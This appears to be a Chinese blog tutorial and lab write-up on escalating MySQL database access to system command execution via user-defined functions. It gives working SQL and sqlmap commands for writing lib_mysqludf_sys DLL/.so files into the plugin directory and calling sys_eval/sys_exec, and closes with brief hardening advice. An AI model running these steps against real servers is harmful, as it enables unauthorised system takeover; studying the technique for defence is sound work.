Mysql——udf提权

udf提权

UDF(user-defined function)是MySQL的一个拓展接口,也可称之为用户自定义函数,它是用来拓展MySQL的技术手段,可以说是数据库功能的一种扩展,用户通过自定义函数来实现在MySQL中无法方便实现的功能,其添加的新函数都可以在SQL语句中调用

原理

UDF提权是利用MYSQL的自定义函数功能,构造特定得DLL将Mysql账号转化为系统system权限
 

利用条件

可利用于windows系统,linux系统
Windows文件是dll文件;linux里面的文件是so文件。

①拥有创建和删除权限,可以将udf.dll写入到相应目录的权限

②Mysql版本大于5.1版本
udf.dll文件必须放置于MYSQL安装目录下的lib\plugin文件夹下

该目录默认是不存在的,这就需要到Mysql的安装目录,并在安装目录下创建lib\plugin文件夹,然后将udf.dll文件导出到plugin目录即可
(在某些情况下,我们会遇到Can’t open shared library的情况,这时就需要我们把udf.dll导出到lib\plugin目录下才可以,利用NTFS ADS流来创建文件夹的方法)

select @@basedir;  //查找到mysql的目录 
select 'xxx' into dumpfile 'Mysql安装路径\\lib::$INDEX_ALLOCATION'; //利用NTFS ADS创建lib目录 
select 'xxx' into dumpfile 'Mysql安装路径\\lib\\plugin::$INDEX_ALLOCATION';//利用NTFS ADS创建plugin目录 )

③Mysql版本小于5.1版本
udf.dll文件在Windows2003下放置于c:\windows\system32,在windows2000下放置于c:\winnt\system32
(网络上有很多关于udf提权的利用脚本)
 

实验

windows下

拿到mysql数据库用户名密码之后,登录到数据库。查看安装路径及plugin目录路径(事实并不存在,需要自己创建)

select @@basedir ;   //获取安装目录 

show variables like "%plugin%";   //寻找mysql安装路径 

show variables like "%secure_file%";   //查看允许导入的权限为空则任意路径可写

在这里插入图片描述
尝试将secure_file_priv的值改成’’(空值)
在这里插入图片描述
用于提权的udf.dll在sqlmap里可以找到,sqlmap/udf/mysql/windows下边有32和64两种
(这里的位数是mysql的位数,并不是对方系统的位数)
注意踩坑:32位和64位要弄清楚!!一开始我用了64位的一直不行,换了32位才提权成功;但是截图里我还是用的64,读者做实验的时候请注意了!!

sqlmap里的udf.dll是经过编码的,利用的话需要先解码,解码的工具就在 sqlmap/extra/cloak/cloak.py

cloak.py -d -i sqlmap目录\sqlmap\udf\mysql\windows\64(32)\lib_mysqludf_sys.dll

解码完了,在sqlmap\udf\mysql\windows,32和64文件夹下会生成dll文件
在这里插入图片描述
将dll文件写到mysql的/lib/plugin目录下
在这里插入图片描述
创建函数

create function sys_eval/sys_exec/cmdshel returns string soname "lib_mysqludf_sys.dll";

在这里插入图片描述
提权成功后利用创建的方法执行语句
在这里插入图片描述在这里插入图片描述
删除函数
在这里插入图片描述

linux下 方法一(实验图就不放了,加上上面的就太多了- -)

写入插件
(网上很多udf提权的编码,百度、github)

mysql> set @a=unhex('udf十六进制编码');

mysql> select @a into dumpfile '/usr/lib/mysql/plugin/udf.so';//创建自定义函数,引用方法,成功执行系统命令:

mysql> select * from func;   //检查是否已经有人导出过了

mysql> create function sys_eval returns string soname 'udf.so';

mysql> select sys_eval('whoami'); //提权成功

mysql> drop function sys_eval;// 将函数删除 
linux下 方法二

如果mysql可外连,也可以使用sqlmap进行上传so文件

sqlmap.py -d "mysql://root:test1234@@192.168.226.128:3306/mysql" --file-write="sqlmap目录\data\udf\mysql\linux\64\lib_mysqludf_sys.so_" --file-dest="/usr/lib/mysql/plugin/udf.so"

接下来的利用步骤同上
 

安全防范

(1) 尽量避免提供对外链接,通过mysql中的user表进行查看,禁用“%”
(2) 设置复杂的root账号密码
(3) 对my.ini设置只读属性,设置plugin目录为只读目录

 
GOT IT!

 
******************************************************
小实验小结,具体测试利用方式需根据具体实践场景~

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章